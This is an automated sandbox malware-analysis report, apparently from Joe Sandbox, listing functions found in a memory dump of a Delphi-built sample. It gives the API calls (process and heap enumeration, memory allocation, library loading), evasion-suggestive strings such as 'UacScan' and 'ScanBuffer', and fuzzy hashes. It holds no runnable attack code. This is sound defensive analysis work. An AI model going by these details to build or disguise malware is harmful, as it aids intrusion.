Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: InitVariant
String ID:
API String ID: 1927566239-0
Opcode ID: a53b91ef3837f6d3cbb67800c531273a8186b0d2077bb124b33fc8e984af720e
Instruction ID: 169d269799498383b28ef78e97ab7cec88e34dc37119535cf41ae2fab888a405
Opcode Fuzzy Hash: a53b91ef3837f6d3cbb67800c531273a8186b0d2077bb124b33fc8e984af720e
Instruction Fuzzy Hash: 59317C71A00209AFDB52DEA8C985AEE77E8EF4C324F444961F919D3240D734EA50CFA2

Function 02C46CF4 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(00000000,?,00000000,02C46D41,?,?,?,00000000), ref: 02C46D21

Part of subcall function 02C34C0C: SysFreeString.OLEAUT32(02C4E950), ref: 02C34C1A

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: FreeFromProgString
String ID:
API String ID: 4225568880-0
Opcode ID: 3fad58aedb1c75769ecbb75a2cce9eebf0dd03e9eeed947982819afc7827c010
Instruction ID: a125ab59acde35d247f3d8aebd8c87fdc0ae31bad23e4d0e4996637bd49db177
Opcode Fuzzy Hash: 3fad58aedb1c75769ecbb75a2cce9eebf0dd03e9eeed947982819afc7827c010
Instruction Fuzzy Hash: FCE06D31604708BBE716EBA1DC519AA77EDEB4AB10B614871E801D3610DA74AE00A860

Function 02C35814 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(02C30000,?,00000105), ref: 02C35832

Part of subcall function 02C35A78: GetModuleFileNameA.KERNEL32(00000000,?,00000105,02C30000,02C5D790), ref: 02C35A94
Part of subcall function 02C35A78: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02C30000,02C5D790), ref: 02C35AB2
Part of subcall function 02C35A78: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02C30000,02C5D790), ref: 02C35AD0
Part of subcall function 02C35A78: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02C35AEE
Part of subcall function 02C35A78: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02C35B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02C35B37
Part of subcall function 02C35A78: RegQueryValueExA.ADVAPI32(?,02C35CE4,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02C35B7D,?,80000001), ref: 02C35B55
Part of subcall function 02C35A78: RegCloseKey.ADVAPI32(?,02C35B84,00000000,?,?,00000000,02C35B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02C35B77

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: b28d12baadab1e4308946262d595483018c342fe3ea7939c094ad429c1d6dced
Instruction ID: e5ff093e4fc6e4d3ad24ce9c13cb91ec35385804c5dab0c24c612c3925239daa
Opcode Fuzzy Hash: b28d12baadab1e4308946262d595483018c342fe3ea7939c094ad429c1d6dced
Instruction Fuzzy Hash: CBE06DB1A402148FCB11DE5888C0AA637D8AF08790F440965EC58DF34AD3B0DA109BD1

Function 02C37D9C Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 02C37DB0

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: d61ce2c3c763b7742acb03e8648b5f8fe395973a28385ba7f431f6bc08d7eb89
Instruction ID: 889a4e43277026b240868d4baea2f3c48c1df0fa0f1efa9d6fdaf662c5eb5097
Opcode Fuzzy Hash: d61ce2c3c763b7742acb03e8648b5f8fe395973a28385ba7f431f6bc08d7eb89
Instruction Fuzzy Hash: 56D05BB23081107AD220A95A6C44EB75BDCCBC9770F100A39B658C7180D7208C058671

Function 02C37E18 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,02C4F8CC,ScanString,02C9137C,02C5AFD8,OpenSession,02C9137C,02C5AFD8,ScanString,02C9137C,02C5AFD8,UacScan,02C9137C,02C5AFD8,UacInitialize), ref: 02C37E23

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 5a31bfd882717e19bfdba3f43ec11c401b22dfbb3a9782c9602b5cd3cc3c38d2
Instruction ID: a58e83413309cfa454b5d7fe7d7cf59415d54b701836de4b641e666d4065c17f
Opcode Fuzzy Hash: 5a31bfd882717e19bfdba3f43ec11c401b22dfbb3a9782c9602b5cd3cc3c38d2
Instruction Fuzzy Hash: 8BC08CE22023400E6A66A1FC0CC400A42CC09842383A40F35B038CABD2D321882A3410

Function 02C37E3C Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,02C52A49,ScanString,02C9137C,02C5AFD8,OpenSession,02C9137C,02C5AFD8,ScanBuffer,02C9137C,02C5AFD8,OpenSession,02C9137C,02C5AFD8,Initialize), ref: 02C37E47

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 918f298baab567261b01832f852b415502b6f9a037000ea6829b55bd1045afca
Instruction ID: 199cef5d8018864acb1155c60cd2caf9ec10bdb8739f89b4b6dbd34833971152
Opcode Fuzzy Hash: 918f298baab567261b01832f852b415502b6f9a037000ea6829b55bd1045afca
Instruction Fuzzy Hash: B3C08CE12023040E9E62A2FC1CC029A42CE09842343A01F31E038DA2C2D311D82A3410

Function 02C34C24 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32 ref: 02C34C37

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: ec55763b5f82d1328600eb73f4eb151786d68f8a69a22224f81dbc62eca26ecd
Instruction ID: 5b2e2b8d1dc7300591a28de7ee878c7587a456f6a32caa9c7c20d692e4c3323b
Opcode Fuzzy Hash: ec55763b5f82d1328600eb73f4eb151786d68f8a69a22224f81dbc62eca26ecd
Instruction Fuzzy Hash: 01C012A26006244BEF365A98ACC075562CCEB45295B1808A1D408D7241E3A59D005664

Function 02C5BB50 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

timeSetEvent.WINMM(00002710,00000000,02C5BB44,00000000,00000001), ref: 02C5BB60

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: Eventtime
String ID:
API String ID: 2982266575-0
Opcode ID: 6b548baeca0453b3e3ce3a4510edb24106d852d0e79c2b400c09e3d0635d55c8
Instruction ID: 887e39ef9f47c15df440cd5ab5bc95ecdc0d6457186d6fec34aa39f12ea3d494
Opcode Fuzzy Hash: 6b548baeca0453b3e3ce3a4510edb24106d852d0e79c2b400c09e3d0635d55c8
Instruction Fuzzy Hash: 10C092F07907003EF6215AA83CC2F27A69EE304B04F600812BA00FE2D5E5E28DA01A39

Function 02C34BE4 Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

SysAllocStringLen.OLEAUT32(00000000,?), ref: 02C34BEB

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: 45a3375204cc73dd1af73f008c830e5c9ef88422045493d1b6915fbd8ee49b80
Instruction ID: a12e6687503f4f8a56d838369e10c7508eea3b0de02f6a3317b8ccfa058e721d
Opcode Fuzzy Hash: 45a3375204cc73dd1af73f008c830e5c9ef88422045493d1b6915fbd8ee49b80
Instruction Fuzzy Hash: FEB0123C2486021CFE3B19620D00BB2008C1BD128FF880CD1DE28C80C0FF41C510D833

Function 02C34BFC Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 02C34C03

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 6fc0f88f0b4d12cbeda0546aa3c9b2a61d9b338520cfab902635a24ef7a42f2a
Instruction ID: e9e7741e483dda9e92196444a58a30573ea471295172142ff39caa4f87bd1d67
Opcode Fuzzy Hash: 6fc0f88f0b4d12cbeda0546aa3c9b2a61d9b338520cfab902635a24ef7a42f2a
Instruction Fuzzy Hash: 11A022AC000B030E8F2F232C000002A20333FE03023CECCE800000A0008FBBC000BC30

Function 02C31682 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00101000,00000004), ref: 02C316A4

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c39dc506a2080a4f4d3db881be5c9989287ae25da64babd5519c1bad543f1b07
Instruction ID: b471c48be64b405248945a8f34c600b32e5a70795c95494bde1456db807f8b95
Opcode Fuzzy Hash: c39dc506a2080a4f4d3db881be5c9989287ae25da64babd5519c1bad543f1b07
Instruction Fuzzy Hash: C2F0BEB2B407956FD7119F9A9C84B82BBA4FB40324F094639FA4C9B340D7B1A8108FD4

Function 02C316E6 Relevance: 1.3, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000000,02C31FE4), ref: 02C31704

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: ca35f61e19a4b9bb2ec51766c9aa90f94c48329498dd4907322e569945ba5965
Instruction ID: eb75f634446360a051d74bbbbfccfbc7fc795e5c8a5f741b5beb444d151d904e
Opcode Fuzzy Hash: ca35f61e19a4b9bb2ec51766c9aa90f94c48329498dd4907322e569945ba5965
Instruction Fuzzy Hash: BBE086753003016FD7115A7A5D447126BD8EB45664F1C4875F549DB241D6E0E8108B60

Non-executed Functions

Function 02C4A95C Relevance: 59.6, APIs: 17, Strings: 17, Instructions: 99libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,00000002,02C4ABE3,?,?,02C4AC75,00000000,02C4AD51), ref: 02C4A970
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 02C4A988
GetProcAddress.KERNEL32(00000000,Heap32ListFirst), ref: 02C4A99A
GetProcAddress.KERNEL32(00000000,Heap32ListNext), ref: 02C4A9AC
GetProcAddress.KERNEL32(00000000,Heap32First), ref: 02C4A9BE
GetProcAddress.KERNEL32(00000000,Heap32Next), ref: 02C4A9D0
GetProcAddress.KERNEL32(00000000,Toolhelp32ReadProcessMemory), ref: 02C4A9E2
GetProcAddress.KERNEL32(00000000,Process32First), ref: 02C4A9F4
GetProcAddress.KERNEL32(00000000,Process32Next), ref: 02C4AA06
GetProcAddress.KERNEL32(00000000,Process32FirstW), ref: 02C4AA18
GetProcAddress.KERNEL32(00000000,Process32NextW), ref: 02C4AA2A
GetProcAddress.KERNEL32(00000000,Thread32First), ref: 02C4AA3C
GetProcAddress.KERNEL32(00000000,Thread32Next), ref: 02C4AA4E
GetProcAddress.KERNEL32(00000000,Module32First), ref: 02C4AA60
GetProcAddress.KERNEL32(00000000,Module32Next), ref: 02C4AA72
GetProcAddress.KERNEL32(00000000,Module32FirstW), ref: 02C4AA84
GetProcAddress.KERNEL32(00000000,Module32NextW), ref: 02C4AA96

Strings

Process32Next, xrefs: 02C4A9FE
Heap32Next, xrefs: 02C4A9C8
Module32NextW, xrefs: 02C4AA8E
Module32FirstW, xrefs: 02C4AA7C
Process32FirstW, xrefs: 02C4AA10
Module32First, xrefs: 02C4AA58
Process32First, xrefs: 02C4A9EC
Heap32ListNext, xrefs: 02C4A9A4
Module32Next, xrefs: 02C4AA6A
kernel32.dll, xrefs: 02C4A96B
Heap32ListFirst, xrefs: 02C4A992
Process32NextW, xrefs: 02C4AA22
Heap32First, xrefs: 02C4A9B6
Thread32First, xrefs: 02C4AA34
Thread32Next, xrefs: 02C4AA46
Toolhelp32ReadProcessMemory, xrefs: 02C4A9DA
CreateToolhelp32Snapshot, xrefs: 02C4A980

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CreateToolhelp32Snapshot$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Module32First$Module32FirstW$Module32Next$Module32NextW$Process32First$Process32FirstW$Process32Next$Process32NextW$Thread32First$Thread32Next$Toolhelp32ReadProcessMemory$kernel32.dll
API String ID: 667068680-597814768
Opcode ID: 6452c0c4dfdb770c6f72db19ebeeefc0e779506ec3cc7910a07f9102dce54483
Instruction ID: 962f7272925ca694ecc12bd68b80f695177286f2d73d7a357525657c246b1a75
Opcode Fuzzy Hash: 6452c0c4dfdb770c6f72db19ebeeefc0e779506ec3cc7910a07f9102dce54483
Instruction Fuzzy Hash: AC31D8B0AC0B21AFFB02EFB4D89AB2737BDAB067407550E65A406CF204DBB499509F55

Function 02C358B4 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 139stringlibraryfileCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,02C36BD0,02C30000,02C5D790), ref: 02C358D1
GetProcAddress.KERNEL32(?,GetLongPathNameA), ref: 02C358E8
lstrcpynA.KERNEL32(?,?,?), ref: 02C35918
lstrcpynA.KERNEL32(?,?,?,kernel32.dll,02C36BD0,02C30000,02C5D790), ref: 02C3597C
lstrcpynA.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,02C36BD0,02C30000,02C5D790), ref: 02C359B2
FindFirstFileA.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,02C36BD0,02C30000,02C5D790), ref: 02C359C5
FindClose.KERNEL32(?,?,?,?,?,00000001,?,?,?,kernel32.dll,02C36BD0,02C30000,02C5D790), ref: 02C359D7
lstrlenA.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02C36BD0,02C30000,02C5D790), ref: 02C359E3
lstrcpynA.KERNEL32(?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02C36BD0,02C30000), ref: 02C35A17
lstrlenA.KERNEL32(?,?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,02C36BD0), ref: 02C35A23
lstrcpynA.KERNEL32(?,?,?,?,?,?,00000104,?,?,?,?,?,?,00000001,?,?), ref: 02C35A45

Strings

GetLongPathNameA, xrefs: 02C358DF
\, xrefs: 02C359F5
kernel32.dll, xrefs: 02C358CC

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 3245196872-1565342463
Opcode ID: d768e941307ffe9c2d1d2afc854c574cf7a82d912740b79ed6c093eced68cb7d
Instruction ID: 4da09510a0d4f26fc9ba289523f4a484432ee27b2a4bc2e553553a0024434cb1
Opcode Fuzzy Hash: d768e941307ffe9c2d1d2afc854c574cf7a82d912740b79ed6c093eced68cb7d
Instruction Fuzzy Hash: 66417FB1D40259AFDB12DAE8CC88AEEB3BDAF48390F4849A5E548E7241D7709B44DF50

Function 02C35B84 Relevance: 15.1, APIs: 10, Instructions: 98stringlibrarythreadCOMMON

Download Yara Rule

APIs

lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02C35B94
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02C35BA1
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02C35BA7
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02C35BD2
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02C35C19
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02C35C29
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02C35C51
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02C35C61
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02C35C87
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02C35C97

Strings

Software\Borland\Locales, xrefs: 02C35AA8, 02C35AC6
Software\Borland\Delphi\Locales, xrefs: 02C35AE4

Memory Dump Source

Source File: 00000006.00000002.2475914324.0000000002C31000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Associated: 00000006.00000002.2475881149.0000000002C30000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C5D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476032008.0000000002C8E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002C91000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D85000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2476359468.0000000002D88000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2c30000_x.jbxd

Similarity

API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1599918012-2375825460
Opcode ID: 872c564c5497cc255b6ddda9ad26ad67b225e16f2838cfcbc1086dd5fd5d1ed0
